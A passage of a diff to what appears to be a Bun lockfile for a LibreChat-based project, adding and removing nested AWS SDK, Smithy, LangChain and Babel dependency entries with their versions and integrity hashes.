"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9405,12 +8851,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9427,137 +8877,21 @@
"@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
+ "@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
"@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+ "@google/genai/google-auth-library/gaxios/rimraf/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
-
